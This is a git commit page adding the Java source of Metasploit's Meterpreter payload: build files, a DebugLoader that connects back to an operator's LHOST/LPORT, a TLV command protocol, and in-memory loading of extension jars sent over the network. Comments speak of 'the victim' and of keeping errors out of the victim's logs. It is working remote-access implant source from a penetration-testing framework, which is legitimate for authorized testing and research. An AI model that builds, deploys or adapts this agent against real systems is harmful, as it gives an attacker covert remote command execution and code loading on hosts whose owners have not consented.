1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-01-20 20:37:27 +01:00

add source for java meterpreter. see #406

git-svn-id: file:///home/svn/framework3/trunk@10294 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee 2010-09-11 17:47:39 +00:00
commit 1c6c079e1a
57 changed files with 2735 additions and 0 deletions

8
.classpath Normal file
View File

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<classpath>
<classpathentry kind="src" path="src/loader"/>
<classpathentry kind="src" path="src/meterpreter"/>
<classpathentry kind="src" path="src/stdapi"/>
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-1.6"/>
<classpathentry kind="output" path="bin"/>
</classpath>

17
.project Normal file
View File

@ -0,0 +1,17 @@
<?xml version="1.0" encoding="UTF-8"?>
<projectDescription>
<name>JavaMeterpreter</name>
<comment></comment>
<projects>
</projects>
<buildSpec>
<buildCommand>
<name>org.eclipse.jdt.core.javabuilder</name>
<arguments>
</arguments>
</buildCommand>
</buildSpec>
<natures>
<nature>org.eclipse.jdt.core.javanature</nature>
</natures>
</projectDescription>

View File

@ -0,0 +1,12 @@
#Sat Jul 17 00:17:57 CEST 2010
eclipse.preferences.version=1
org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.1
org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
org.eclipse.jdt.core.compiler.compliance=1.3
org.eclipse.jdt.core.compiler.debug.lineNumber=generate
org.eclipse.jdt.core.compiler.debug.localVariable=generate
org.eclipse.jdt.core.compiler.debug.sourceFile=generate
org.eclipse.jdt.core.compiler.problem.assertIdentifier=ignore
org.eclipse.jdt.core.compiler.problem.enumIdentifier=ignore
org.eclipse.jdt.core.compiler.source=1.3

37
build.xml Normal file
View File

@ -0,0 +1,37 @@
<?xml version="1.0"?>
<project name="Meterpreter" default="jar">
<target name="clean">
<delete dir="build" />
</target>
<target name="compile">
<mkdir dir="build/loader" />
<mkdir dir="build/meterpreter" />
<mkdir dir="build/stdapi" />
<javac srcdir="src/loader" destdir="build/loader" source="1.1" target="1.1" debug="no">
<include name="**/MemoryBufferURL*.java"/>
</javac>
<javac srcdir="src/meterpreter" destdir="build/meterpreter" source="1.1" target="1.1" debug="no">
<classpath>
<pathelement path="build/loader"/>
</classpath>
</javac>
<javac srcdir="src/stdapi" destdir="build/stdapi" source="1.1" target="1.1" debug="no">
<classpath>
<pathelement path="build/loader"/>
<pathelement path="build/meterpreter"/>
</classpath>
</javac>
</target>
<target name="jar" depends="compile">
<mkdir dir="extensions"/>
<jar destfile="extensions/meterpreter.jar" basedir="build/meterpreter" />
<jar destfile="extensions/ext_server_stdapi.jar" basedir="build/stdapi">
<manifest>
<attribute name="Extension-Loader" value="com.metasploit.meterpreter.stdapi.Loader"/>
</manifest>
</jar>
</target>
</project>

View File

@ -0,0 +1,35 @@
package com.metasploit.meterpreter;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.OutputStream;
import java.net.Socket;
/**
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
*
* @author mihi
*/
public class DebugLoader {
/**
* Main entry point.
*/
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Usage: java com.metasploit.meterpreter.DebugLoader <LHOST> <LPORT> [<RedirectError>]");
return;
}
Socket msgsock = new Socket(args[0], Integer.parseInt(args[1]));
DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream());
int coreLen = in.readInt();
while (coreLen != 0) {
in.readFully(new byte[coreLen]);
coreLen = in.readInt();
}
coreLen = in.readInt();
in.readFully(new byte[coreLen]);
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
msgsock.close();
}
}

View File

@ -0,0 +1,68 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.List;
/**
* An {@link URLConnection} for an URL that is stored completely in memory.
*
* @author mihi
*/
public class MemoryBufferURLConnection extends URLConnection {
private static List files = new ArrayList();
static {
// tweak the cache of already loaded protocol handlers via reflection
try {
Field fld = URL.class.getDeclaredField("handlers");
fld.setAccessible(true);
Hashtable handlers = (Hashtable) fld.get(null);
handlers.put("metasploitmembuff", new MemoryBufferURLStreamHandler());
} catch (Exception ex) {
throw new RuntimeException(ex.toString());
}
}
/**
* Create a new URL from a byte array and its content type.
*/
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
files.add(data);
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
}
private final byte[] data;
private final String contentType;
protected MemoryBufferURLConnection(URL url) {
super(url);
String file = url.getFile();
int pos = file.indexOf('/');
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
contentType = file.substring(pos + 1);
}
public void connect() throws IOException {
}
public InputStream getInputStream() throws IOException {
return new ByteArrayInputStream(data);
}
public int getContentLength() {
return data.length;
}
public String getContentType() {
return contentType;
}
}

View File

@ -0,0 +1,17 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
/**
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
*
* @author mihi
*/
public class MemoryBufferURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return new MemoryBufferURLConnection(u);
}
}

View File

@ -0,0 +1,190 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
/**
* A meterpreter channel. Channels are basically a collection of streams to interact with. Specialized subclasses of this class may handle special channels.
*
* @author mihi
*/
public class Channel {
private final InputStream in;
private final OutputStream out;
private final int id;
protected final Meterpreter meterpreter;
private boolean active = false, closed = false, waiting = false;
private byte[] toRead;
/**
* Create a new "generic" channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param in
* Input stream of the channel
* @param out
* Output stream of the channel, if any
*/
public Channel(Meterpreter meterpreter, InputStream in, OutputStream out) {
this.meterpreter = meterpreter;
this.id = meterpreter.registerChannel(this);
this.in = in;
this.out = out;
new InteractThread(in).start();
}
/**
* Close this channel and deregister it from the meterpreter.
*/
public synchronized void close() throws IOException {
in.close();
if (out != null)
out.close();
meterpreter.channelClosed(id);
active = false;
closed = true;
notifyAll();
}
/**
* Check whether this channel is at end of file.
*
* Note that even if this returns false, a subsequent read might return <code>null</code> for EOF, when the channel's state switches from "no data available" to EOF between the two calls.
*/
public synchronized boolean isEOF() throws IOException {
if (active)
throw new IllegalStateException("Cannot read; currently interacting with this channel");
// when we are just waiting to read the EOF, close it
if (waiting && toRead == null)
close();
return closed;
}
/**
* Read at least one byte, and up to maxLength bytes from this stream.
*
* @param maxLength
* The maximum number of bytes to read.
* @return The bytes read, or <code>null</code> if the end of the stream has been reached.
*/
public synchronized byte[] read(int maxLength) throws IOException, InterruptedException {
if (closed)
return null;
if (active)
throw new IllegalStateException("Cannot read; currently interacting with this channel");
while (!waiting || (toRead != null && toRead.length == 0))
wait();
if (toRead == null)
return null;
byte[] result = new byte[Math.min(toRead.length, maxLength)];
System.arraycopy(toRead, 0, result, 0, result.length);
byte[] rest = new byte[toRead.length - result.length];
System.arraycopy(toRead, result.length, rest, 0, rest.length);
toRead = rest;
notifyAll();
return result;
}
/**
* Write length bytes from the start of data to this channel.
*
* @param data
* The data to write
* @param length
* The length to write
*/
public void write(byte[] data, int length, TLVPacket request) throws IOException {
if (out == null)
throw new IOException("Channel does not have an output stream");
out.write(data, 0, length);
out.flush();
}
/**
* Get the ID of this channel.
*/
public int getID() {
return id;
}
/**
* Start interacting with this channel.
*/
public synchronized void startInteract() {
if (active)
throw new IllegalStateException("Already interacting");
active = true;
notifyAll();
}
/**
* Stop interacting with this channel.
*/
public synchronized void stopInteract() {
active = false;
}
/**
* Called from the {@link InteractThread} to notify the meterpreter of new data available on this channel.
*
* @param data
* The new data available, or <code>null</code> if EOF has been reached.
*/
protected synchronized void handleInteract(byte[] data) throws IOException, InterruptedException {
while (waiting) {
wait();
}
toRead = data;
waiting = true;
notifyAll();
while (!active && !closed && (toRead == null || toRead.length > 0))
wait();
if ((toRead == null || toRead.length > 0) && !closed) {
TLVPacket tlv = new TLVPacket();
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
String method;
if (toRead == null) {
method = "core_channel_close";
close();
} else {
method = "core_channel_write";
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, toRead);
tlv.add(TLVType.TLV_TYPE_LENGTH, toRead.length);
}
meterpreter.writeRequestPacket(method, tlv);
}
waiting = false;
notifyAll();
}
/**
* A thread that polls the channel to provide information when interacting with this channel.
*/
protected class InteractThread extends Thread {
private final InputStream stream;
public InteractThread(InputStream stream) {
this.stream = stream;
}
public void run() {
try {
byte[] buffer = new byte[4096];
int len;
while ((len = stream.read(buffer)) != -1) {
if (len == 0)
continue;
byte[] data = new byte[len];
System.arraycopy(buffer, 0, data, 0, len);
handleInteract(data);
}
handleInteract(null);
} catch (Throwable t) {
t.printStackTrace(meterpreter.getErrorStream());
}
}
}
}

View File

@ -0,0 +1,111 @@
package com.metasploit.meterpreter;
import java.util.HashMap;
import java.util.Map;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
import com.metasploit.meterpreter.command.UnsupportedJavaVersionCommand;
/**
* A registry for supported commands. Extensions will register their commands here.
*
* @author mihi
*/
public class CommandManager {
private final int javaVersion;
private Map/* <String,Command> */registeredCommands = new HashMap();
protected CommandManager() throws Exception {
// get the API version, which might be different from the
// VM version, especially on some application servers
// (adapted from org.apache.tools.ant.util.JavaEnvUtils).
Class.forName("java.lang.Void");
Class.forName("java.lang.ThreadLocal");
int apiVersion = ExtensionLoader.V1_2;
try {
Class.forName("java.lang.StrictMath");
apiVersion = ExtensionLoader.V1_3;
Class.forName("java.lang.CharSequence");
apiVersion = ExtensionLoader.V1_4;
Class.forName("java.net.Proxy");
apiVersion = ExtensionLoader.V1_5;
Class.forName("java.util.ServiceLoader");
apiVersion = ExtensionLoader.V1_6;
} catch (Throwable t) {
}
int vmVersion = System.getProperty("java.version").charAt(2) - '2' + ExtensionLoader.V1_2;
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
apiVersion = vmVersion;
this.javaVersion = apiVersion;
// load core commands
new com.metasploit.meterpreter.core.Loader().load(this);
}
/**
* Register a command that can be executed on all Java versions (from 1.2 onward)
*
* @param command
* Name of the command
* @param commandClass
* Class that implements the command
*/
public void registerCommand(String command, Class commandClass) throws Exception {
registerCommand(command, commandClass, ExtensionLoader.V1_2);
}
/**
* Register a command that can be executed only on some Java versions
*
* @param command
* Name of the command
* @param commandClass
* Stub class for generating the class name that implements the command
* @param version
* Minimum Java version
*/
public void registerCommand(String command, Class commandClass, int version) throws Exception {
registerCommand(command, commandClass, version, version);
}
/**
* Register a command that can be executed only on some Java versions, and has two different implementations for different Java versions.
*
* @param command
* Name of the command
* @param commandClass
* Stub class for generating the class name that implements the command
* @param version
* Minimum Java version
* @param secondVersion
* Minimum Java version for the second implementation
*/
public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception {
if (secondVersion < version)
throw new IllegalArgumentException("secondVersion must be larger than version");
if (javaVersion < version) {
registeredCommands.put(command, new UnsupportedJavaVersionCommand(command, version));
return;
}
if (javaVersion >= secondVersion)
version = secondVersion;
if (version != ExtensionLoader.V1_2) {
commandClass = commandClass.getClassLoader().loadClass(commandClass.getName() + "_V1_" + (version - 10));
}
Command cmd = (Command) commandClass.newInstance();
registeredCommands.put(command, cmd);
}
/**
* Get a command for the given name.
*/
public Command getCommand(String name) {
Command cmd = (Command) registeredCommands.get(name);
if (cmd == null)
cmd = NotYetImplementedCommand.INSTANCE;
return cmd;
}
}

View File

@ -0,0 +1,23 @@
package com.metasploit.meterpreter;
/**
* A loader class for an extension. This loader must be referenced in the jar manifest's Extension-Loader entry.
*
* @author mihi
*/
public interface ExtensionLoader {
public static final int V1_2 = 12;
public static final int V1_3 = 13;
public static final int V1_4 = 14;
public static final int V1_5 = 15;
public static final int V1_6 = 16;
/**
* Load this extension.
*
* @param commandManager
* command manager to load commands into.
*/
public void load(CommandManager commandManager) throws Exception;
}

View File

@ -0,0 +1,230 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Random;
import java.util.jar.JarInputStream;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.core.core_loadlib;
/**
* Main meterpreter class. Responsible for keeping all the stuff together and for managing channels.
*
* @author mihi
*/
public class Meterpreter {
private static final int PACKET_TYPE_REQUEST = 0;
private static final int PACKET_TYPE_RESPONSE = 1;
private List/* <Channel> */channels = new ArrayList();
private final CommandManager commandManager;
private final DataOutputStream out;
private final Random rnd = new Random();
private final ByteArrayOutputStream errBuffer;
private final PrintStream err;
private final boolean loadExtensions;
/**
* Initialize the meterpreter.
*
* @param in
* Input stream to read from
* @param rawOut
* Output stream to write into
* @param loadExtensions
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
* @param redirectErrors
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
* @throws Exception
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
this.loadExtensions = loadExtensions;
this.out = new DataOutputStream(rawOut);
commandManager = new CommandManager();
channels.add(null); // main communication channel?
if (redirectErrors) {
errBuffer = new ByteArrayOutputStream();
err = new PrintStream(errBuffer);
} else {
errBuffer = null;
err = System.err;
}
try {
while (true) {
int len = in.readInt();
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new IOException("Invalid packet type: " + ptype);
TLVPacket request = new TLVPacket(in, len - 8);
writeTLV(PACKET_TYPE_RESPONSE, executeCommand(request));
}
} catch (EOFException ex) {
}
out.close();
synchronized (this) {
for (Iterator it = channels.iterator(); it.hasNext();) {
Channel c = (Channel) it.next();
if (c != null)
c.close();
}
}
}
/**
* Write a TLV packet to this meterpreter's output stream.
*
* @param type
* The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
* @param packet
* The packet to send
*/
private void writeTLV(int type, TLVPacket packet) throws IOException {
byte[] data = packet.toByteArray();
synchronized (out) {
out.writeInt(data.length + 8);
out.writeInt(type);
out.write(data);
out.flush();
}
}
/**
* Execute a command request.
*
* @param request
* The request to execute
* @return The response packet to send back
*/
private TLVPacket executeCommand(TLVPacket request) throws IOException {
TLVPacket response = new TLVPacket();
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
response.add(TLVType.TLV_TYPE_METHOD, method);
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
Command cmd = commandManager.getCommand(method);
int result;
try {
result = cmd.execute(this, request, response);
} catch (Throwable t) {
t.printStackTrace(getErrorStream());
result = Command.ERROR_FAILURE;
}
response.add(TLVType.TLV_TYPE_RESULT, result);
return response;
}
/**
* Get the command manager, used to register or lookup commands.
*/
public CommandManager getCommandManager() {
return commandManager;
}
/**
* Register a new channel in this meterpreter. Used only by {@link Channel#Channel(Meterpreter, java.io.InputStream, OutputStream, java.io.InputStream)}.
*
* @param channel
* The channel to register
* @return The channel's ID.
*/
public synchronized int registerChannel(Channel channel) {
channels.add(channel);
return channels.size() - 1;
}
/**
* Used by {@link Channel#close()} to notify the meterpreter that the channel has been closed.
*
* @param id
* The channel's ID
*/
public synchronized void channelClosed(int id) {
channels.set(id, null);
}
/**
* Obtain a channel for a given channel ID
*
* @param id
* The channel ID to look up
* @param throwIfNonexisting
* Whether to throw an exception if the channel does not exist
* @return The channel, or <code>null</code> if the channel does not exist and it should not throw an exception
*/
public Channel getChannel(int id, boolean throwIfNonexisting) {
Channel result = null;
if (id < channels.size())
result = (Channel) channels.get(id);
if (result == null && throwIfNonexisting)
throw new IllegalArgumentException("Channel " + id + " does not exist.");
return result;
}
/**
* Return the error stream where all errors should be written to. Do <b>not</b> write to {@link System#out} or {@link System#err} as this might appear in the victim's error logs.
*/
public PrintStream getErrorStream() {
return err;
}
/**
* Return the currently buffered error stream content, or <code>null</code> if no buffering is active.
*/
public byte[] getErrorBuffer() {
if (errBuffer == null)
return null;
synchronized (errBuffer) {
byte[] result = errBuffer.toByteArray();
errBuffer.reset();
return result;
}
}
/**
* Send a request packet over this meterpreter.
*
* @param packet
* Packet parameters
* @param method
* Method to invoke
*/
public void writeRequestPacket(String method, TLVPacket tlv) throws IOException {
tlv.add(TLVType.TLV_TYPE_METHOD, method);
char[] requestID = new char[32];
for (int i = 0; i < requestID.length; i++) {
requestID[i] = (char) ('A' + rnd.nextInt(26));
}
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
writeTLV(PACKET_TYPE_REQUEST, tlv);
}
/**
* Load an extension into this meterpreter. Called from {@link core_loadlib}.
*
* @param data
* The extension jar's content as a byte array
*/
public void loadExtension(byte[] data) throws Exception {
ClassLoader classLoader = getClass().getClassLoader();
if (loadExtensions) {
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
classLoader = new URLClassLoader(new URL[] { url }, classLoader);
}
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader");
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance();
loader.load(commandManager);
}
}

View File

@ -0,0 +1,265 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
/**
* A packet consisting of multiple TLV values. Having the same type more than once is an error.
*
* @author mihi
*/
public class TLVPacket {
// constants
public static final int TLV_META_TYPE_NONE = 0;
public static final int TLV_META_TYPE_STRING = (1 << 16);
public static final int TLV_META_TYPE_UINT = (1 << 17);
public static final int TLV_META_TYPE_RAW = (1 << 18);
public static final int TLV_META_TYPE_BOOL = (1 << 19);
public static final int TLV_META_TYPE_COMPRESSED = (1 << 29);
public static final int TLV_META_TYPE_GROUP = (1 << 30);
public static final int TLV_META_TYPE_COMPLEX = (1 << 31);
// not defined in original
public static final int TLV_META_TYPE_MASK = (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16);
/**
* A list of {@link Integer} values that represent the order of the TLV value types for serializing the current package.
*/
private List/* <Integer> */typeOrder = new ArrayList();
/**
* A map, mapping the types (as {@link Integer} objects) to values (different kinds of objects). There are type-safe helper methods to retrieve one of those objects from the map.
*/
private Map/* <Integer,Object> */valueMap = new HashMap();
/**
* A list of additionals types/values to be added to the end of the packet. Here packet types may appear more than once, but they cannot be read again with this class.
*/
private List/* <Integer/Object> */overflowList = new ArrayList();
/**
* Construct a new empty TLV packet.
*/
public TLVPacket() {
}
/**
* Read a TLV packet from an input stream.
*
* @param in
* Input stream to read from
* @param remaining
* length of the packet to read in bytes
* @throws IOException
* if an error occurs
*/
public TLVPacket(DataInputStream in, int remaining) throws IOException {
while (remaining > 0) {
int len = in.readInt();
int type = in.readInt();
if (len > remaining)
break;
byte[] data = new byte[len - 8];
remaining -= len;
Object value;
if ((type & TLV_META_TYPE_COMPRESSED) != 0) {
in.readFully(data);
value = data;
} else if ((type & TLV_META_TYPE_STRING) != 0) {
in.readFully(data);
String string = new String(data, "ISO-8859-1"); // better safe than sorry
if (!string.endsWith("\0"))
throw new IOException("C string is not 0 terminated: " + string);
string = string.substring(0, string.length() - 1);
if (string.indexOf('\0') != -1)
throw new IOException("Embedded null detected: " + string);
value = string;
} else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) {
value = new Integer(in.readInt());
} else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) {
value = new Boolean(in.readBoolean());
} else if ((type & TLV_META_TYPE_RAW) != 0) {
in.readFully(data);
value = data;
} else if ((type & TLV_META_TYPE_GROUP) != 0) {
in.readFully(data);
DataInputStream dis = new DataInputStream(new ByteArrayInputStream(data));
value = new TLVPacket(dis, data.length);
dis.close();
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
in.readFully(data);
value = data;
} else {
throw new IOException("Unsupported type: " + type + "/" + len);
}
add(type, value);
}
if (remaining != 0) {
throw new IOException("Incomplete packets detected");
}
}
/**
* Add a TLV value to this object.
*/
public void add(int type, Object value) throws IOException {
Integer typeObj = new Integer(type);
typeOrder.add(typeObj);
if (valueMap.containsKey(typeObj))
throw new IOException("Duplicate type: " + type);
valueMap.put(typeObj, value);
}
/**
* Add an element to the overflow list.
*/
public void addOverflow(int type, Object value) throws IOException {
overflowList.add(new Integer(type));
overflowList.add(value);
}
/**
* Add a TLV value to this object.
*/
public void add(int type, int value) throws IOException {
add(type, new Integer(value));
}
/**
* Add a TLV value to this object.
*/
public void add(int type, boolean value) throws IOException {
add(type, new Boolean(value));
}
/**
* Get the types and their order in this packet, as an immutable list.
*/
public List getTypeOrder() {
return Collections.unmodifiableList(typeOrder);
}
/**
* Get the value associated to a type.
*/
public Object getValue(int type) {
Object result = valueMap.get(new Integer(type));
if (result == null)
throw new IllegalArgumentException("Cannot find type " + type);
return result;
}
/**
* Get the value associated to a type.
*/
public Object getValue(int type, Object defaultValue) {
Object result = valueMap.get(new Integer(type));
if (result == null)
result = defaultValue;
return result;
}
/**
* Get the value associated to a type as a {@link String}.
*/
public String getStringValue(int type) {
return (String) getValue(type);
}
/**
* Get the value associated to a type as a {@link String}, or a default value if the value does not exist.
*/
public String getStringValue(int type, String defaultValue) {
return (String) getValue(type, defaultValue);
}
/**
* Get the value associated to a type as an int.
*/
public int getIntValue(int type) {
return ((Integer) getValue(type)).intValue();
}
/**
* Get the value associated to a type as a boolean.
*/
public boolean getBooleanValue(int type) {
return ((Boolean) getValue(type)).booleanValue();
}
/**
* Get the value associated to a type as a byte array.
*/
public byte[] getRawValue(int type) {
return (byte[]) getValue(type);
}
/**
* Write all the values to an output stream.
*/
public void write(DataOutputStream out) throws IOException {
for (Iterator it = typeOrder.iterator(); it.hasNext();) {
Integer typeKey = (Integer) it.next();
int type = typeKey.intValue();
Object value = valueMap.get(typeKey);
write(out, type, value);
}
for (Iterator it = overflowList.iterator(); it.hasNext();) {
Integer typeKey = (Integer) it.next();
int type = typeKey.intValue();
Object value = it.next();
write(out, type, value);
}
}
/**
* Write a single vlaue to an output stream.
*/
private static void write(DataOutputStream out, int type, Object value) throws IOException {
byte[] data;
if ((type & TLV_META_TYPE_STRING) != 0) {
data = ((String) value + "\0").getBytes("ISO-8859-1");
} else if ((type & TLV_META_TYPE_UINT) != 0) {
out.writeInt(12);
out.writeInt(type);
out.writeInt(((Integer) value).intValue());
return;
} else if ((type & TLV_META_TYPE_BOOL) != 0) {
out.writeInt(9);
out.writeInt(type);
out.writeBoolean(((Boolean) value).booleanValue());
return;
} else if ((type & TLV_META_TYPE_RAW) != 0) {
data = (byte[]) value;
} else if ((type & TLV_META_TYPE_GROUP) != 0) {
data = ((TLVPacket) value).toByteArray();
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
data = (byte[]) value;
} else {
throw new IOException("Unsupported type: " + type);
}
out.writeInt(8 + data.length);
out.writeInt(type);
out.write(data);
}
/**
* Convert all the values to a byte array.
*/
public byte[] toByteArray() throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
write(new DataOutputStream(baos));
return baos.toByteArray();
}
}

View File

@ -0,0 +1,174 @@
package com.metasploit.meterpreter;
/**
* All defined TLV types.
*
* TLV meta types are defined in the {@link TLVPacket} class.
*
* @author mihi
*/
public interface TLVType {
// TLV Specific Types
public static final int TLV_TYPE_ANY = TLVPacket.TLV_META_TYPE_NONE | 0;
public static final int TLV_TYPE_METHOD = TLVPacket.TLV_META_TYPE_STRING | 1;
public static final int TLV_TYPE_REQUEST_ID = TLVPacket.TLV_META_TYPE_STRING | 2;
public static final int TLV_TYPE_EXCEPTION = TLVPacket.TLV_META_TYPE_GROUP | 3;
public static final int TLV_TYPE_RESULT = TLVPacket.TLV_META_TYPE_UINT | 4;
public static final int TLV_TYPE_STRING = TLVPacket.TLV_META_TYPE_STRING | 10;
public static final int TLV_TYPE_UINT = TLVPacket.TLV_META_TYPE_UINT | 11;
public static final int TLV_TYPE_BOOL = TLVPacket.TLV_META_TYPE_BOOL | 12;
public static final int TLV_TYPE_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 25;
public static final int TLV_TYPE_DATA = TLVPacket.TLV_META_TYPE_RAW | 26;
public static final int TLV_TYPE_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 27;
public static final int TLV_TYPE_CHANNEL_ID = TLVPacket.TLV_META_TYPE_UINT | 50;
public static final int TLV_TYPE_CHANNEL_TYPE = TLVPacket.TLV_META_TYPE_STRING | 51;
public static final int TLV_TYPE_CHANNEL_DATA = TLVPacket.TLV_META_TYPE_RAW | 52;
public static final int TLV_TYPE_CHANNEL_DATA_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 53;
public static final int TLV_TYPE_CHANNEL_CLASS = TLVPacket.TLV_META_TYPE_UINT | 54;
public static final int TLV_TYPE_CHANNEL_PARENTID = TLVPacket.TLV_META_TYPE_UINT | 55;
public static final int TLV_TYPE_SEEK_WHENCE = TLVPacket.TLV_META_TYPE_UINT | 70;
public static final int TLV_TYPE_SEEK_OFFSET = TLVPacket.TLV_META_TYPE_UINT | 71;
public static final int TLV_TYPE_SEEK_POS = TLVPacket.TLV_META_TYPE_UINT | 72;
public static final int TLV_TYPE_EXCEPTION_CODE = TLVPacket.TLV_META_TYPE_UINT | 300;
public static final int TLV_TYPE_EXCEPTION_STRING = TLVPacket.TLV_META_TYPE_STRING | 301;
public static final int TLV_TYPE_LIBRARY_PATH = TLVPacket.TLV_META_TYPE_STRING | 400;
public static final int TLV_TYPE_TARGET_PATH = TLVPacket.TLV_META_TYPE_STRING | 401;
public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402;
public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403;
public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500;
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;
// General
public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 600;
public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601;
public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 630;
public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 631;
// Fs
public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200;
public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201;
public static final int TLV_TYPE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 1202;
public static final int TLV_TYPE_FILE_MODE = TLVPacket.TLV_META_TYPE_STRING | 1203;
public static final int TLV_TYPE_STAT_BUF = TLVPacket.TLV_META_TYPE_COMPLEX | 1220;
// Net
public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400;
public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401;
public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420;
public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421;
public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422;
public static final int TLV_TYPE_NETWORK_ROUTE = TLVPacket.TLV_META_TYPE_GROUP | 1423;
public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430;
public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431;
public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432;
public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433;
public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440;
public static final int TLV_TYPE_NETMASK_STRING = TLVPacket.TLV_META_TYPE_STRING | 1441;
public static final int TLV_TYPE_GATEWAY_STRING = TLVPacket.TLV_META_TYPE_STRING | 1442;
// Socket
public static final int TLV_TYPE_PEER_HOST = TLVPacket.TLV_META_TYPE_STRING | 1500;
public static final int TLV_TYPE_PEER_PORT = TLVPacket.TLV_META_TYPE_UINT | 1501;
public static final int TLV_TYPE_LOCAL_HOST = TLVPacket.TLV_META_TYPE_STRING | 1502;
public static final int TLV_TYPE_LOCAL_PORT = TLVPacket.TLV_META_TYPE_UINT | 1503;
